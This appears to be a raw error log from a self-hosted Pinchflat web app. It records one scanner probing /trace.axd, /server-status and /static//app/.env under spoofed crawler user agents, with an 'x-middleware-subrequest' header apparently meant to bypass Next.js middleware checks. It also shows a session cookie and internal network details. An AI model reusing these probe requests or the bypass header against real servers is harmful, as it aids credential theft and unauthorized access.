"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29935.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pEDybMa9WcABwyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35084}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35084}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, (truncated) 16:49:11.279 [info] GET /server-info 16:49:11.279 [debug] QUERY OK source="settings" db=0.0ms idle=110.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.280 [debug] QUERY OK source="settings" db=0.0ms idle=82.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.280 [error] #PID<0.29937.0> running PinchflatWeb.Endpoint (connection #PID<0.29936.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29937.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pLP7w7AHtEABwzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29936.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:11.281 [info] GET /server-status 16:49:11.281 [debug] QUERY OK source="settings" db=0.0ms idle=83.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.281 [debug] QUERY OK source="settings" db=0.0ms idle=31.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.281 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.281 [error] #PID<0.29939.0> running PinchflatWeb.Endpoint (connection #PID<0.29938.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35100}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29939.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pLrmic34k4ABwzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35100}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35100}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_param (truncated) 16:49:11.289 [info] GET /static//app/.env 16:49:11.289 [debug] QUERY OK source="settings" db=0.0ms idle=39.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.289 [debug] QUERY OK source="settings" db=0.0ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.289 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.289 [error] #PID<0.29941.0> running PinchflatWeb.Endpoint (connection #PID<0.29940.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /static//app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29941.0>, params: %{}, path_info: ["static", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/static//app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pNjS8DZjYEABw0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 